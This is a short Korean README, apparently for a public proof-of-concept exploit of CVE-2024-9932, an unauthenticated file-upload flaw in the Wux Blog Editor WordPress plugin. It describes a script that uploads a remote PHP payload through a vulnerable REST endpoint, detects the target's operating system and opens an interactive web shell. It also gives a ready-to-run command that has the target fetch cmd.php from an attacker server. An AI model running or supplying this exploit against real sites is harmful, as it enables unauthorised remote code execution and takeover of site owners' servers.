인증되지 않은 0-클릭 RCE 익스플로잇(CVE-2024-9932)입니다. Wux Blog Editor WordPress 플러그인의 임의 파일 업로드 취약점을 악용하여 원격 PHP 페이로드를 업로드하고, 대상 운영 체제를 탐지하며, 대화형 웹 셸을 통해 원격 명령 실행을 수행합니다.
이 저장소에는 Wux Blog Editor WordPress 플러그인의 인증되지 않은 임의 파일 업로드 취약점으로, 원격 코드 실행(RCE)으로 이어지는 CVE-2024-9932에 대한 개념 증명 익스플로잇이 포함되어 있습니다.
이 스크립트는 인증 없이 취약한 REST 엔드포인트를 악용하여 원격 PHP 페이로드를 업로드합니다. 업로드가 완료되면 최종 파일 위치를 재구성하고 대상 운영 체제를 감지한 다음, 명령 실행을 위한 대화형 원격 셸을 제공합니다.
python CVE-2024-9932.py --target http://target-wordpress-site --payload http://attacker-server/cmd.php --payload_name cmd.php
실행 후, 스크립트는 페이로드를 업로드하고 접근 가능 여부를 확인하며 OS를 감지한 후 대화형 셸로 진입합니다.